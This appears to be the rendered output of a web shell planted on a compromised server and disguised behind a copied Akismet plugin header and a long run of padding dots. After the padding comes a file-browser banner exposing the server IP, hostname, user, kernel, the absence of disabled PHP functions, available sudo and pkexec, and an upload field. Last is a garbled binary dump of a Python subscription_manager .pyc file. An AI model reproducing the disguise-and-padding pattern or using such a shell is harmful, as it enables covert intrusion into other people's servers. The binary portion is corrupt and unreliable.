#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib64/python2.7/site-packages/subscription_manager/ |
Upload File : |
�
L��ec @` s� d d l m Z m Z m Z d d l Z d d l Z d d l Z d d l Z e j e � Z
d d l m Z d e
f d � � YZ d e f d � � YZ d e f d � � YZ d d
� Z d S( i ( t print_functiont divisiont absolute_importN( t versiont
GaImporterc B` sP e Z d Z d Z i Z d � Z d � Z d � Z d � Z d � Z d � Z
RS( s� Custom module importer protocol that finds and loads the 'ga' Gtk2/Gtk3 compat virtual module.
This implements the module "Importer Protocol" as defined
in PEP302 (https://www.python.org/dev/peps/pep-0302/). It provides
both a module finder (find_modules) and a module loader (load_modules).
This lets different sub classes of this module to all provide a set of
module names in the 'ga' namespace, but to provide different implementations.
When an instance of this class is added to sys.meta_path, all imports that
reference modules by name (ie, normal 'import bar' statements) the names are first passed
to this classes 'find_module' method. When this class is asked for modules in
the 'ga' package, it returns itself (which is also a module loader).
This classes load_module() is used to decide which implemention of the 'ga'
package to load. GaImporter.virtual_modules is a dict mapping full module name
to the full name of the module that is to be loaded for that name.
The 'ga' module implementations are in the ga_impls/ module.
The available implementations are 'ga_gtk2' and 'ga_gtk3'.
The 'ga' module itself provides a Gtk3-like API.
The 'ga_impls/ga_gtk3' implementation is an export of the full 'gi.repository.Gtk',
and a few helper methods and names.
The 'ga_impls/ga_gtk2' implementation is more complicated. It maps a subset of
Gtk2 names and widgets to their Gtk3 equilivent. This includes an assortment
of class enums, and helper methods. The bulk of the API compat is just mapping
names like 'gtk.Window' to Gtk style names like 'gi.repository.Gtk.Window'.
NOTE: Only symbols actually used in subscription-manager are provided. This
is not a general purpose Gtk3 interface for Gtk2. Names are imported
directly and export directly in module __all__ attributes. This is to
make sure any Gtk3 widgets used in subman have working gtk2 equilivents
and ga_gtk2 provides it.
s subscription_manager.gac C` s t j d | j j � d S( Ns ga_loader %s( t logt debugt __class__t __name__( t self( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyt __init__Z s c C` s | | j k r | Sd S( N( t virtual_modulest None( R t fullnamet path( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyt find_module] s c C` s� | t j k r t j | S| | j k r8 t | � � n | | j k rQ | j � Sd } } | j | } | r} | \ } } n | s� t | � � n | j | | | � S( N( t syst modulesR t ImportErrort namespacet _namespace_moduleR t _import_real_module( R R
t real_module_namet real_module_fromt mod_info( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyt load_moduleb s
c C` s_ t | t � t � | g � } t | | � } | } | | _ | | _ t | _ | t j | <| S( N(
t
__import__t globalst localst getattrR t
__loader__t Truet __package__R R ( R R
t module_namet module_fromt rett inner_ret( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyR x s
c C` sh t j j | t j | � � } | | _ | | _ | | _ | g | _ d j | j
d � d � | _ | S( s= Create a an empty module, we can populate with impl specific.t .i����( R R t
setdefaultt typest
ModuleTypeR R t __filename__t __path__t joint splitR ( R R
R# ( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyt _new_module� s c C` s | j | j � S( s_ Create and return a 'ga' package module.
Since the 'ga' module has to work for Gtk2/Gtk3, but can't import
either, we create a new module instance and add it to the system
path.
Imports like 'from ga import Gtk3' first have to import 'ga'. When
they do, the module instance is the one we create here.
( R- R ( R ( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyR � s
( R t
__module__t __doc__R R R
R R R R- R ( ( ( sD /usr/lib64/python2.7/site-packages/subscription_manager/ga_loader.pyR 0 s %
t GaImporterGtk3c B` sp e Z i d d 6d d g d 6d d g d 6d d g d 6d d g d
6d d g d 6d d
g d 6d d g d 6Z RS( s subscription_manager.gas subscription_manager.ga_implst ga_gtk3s"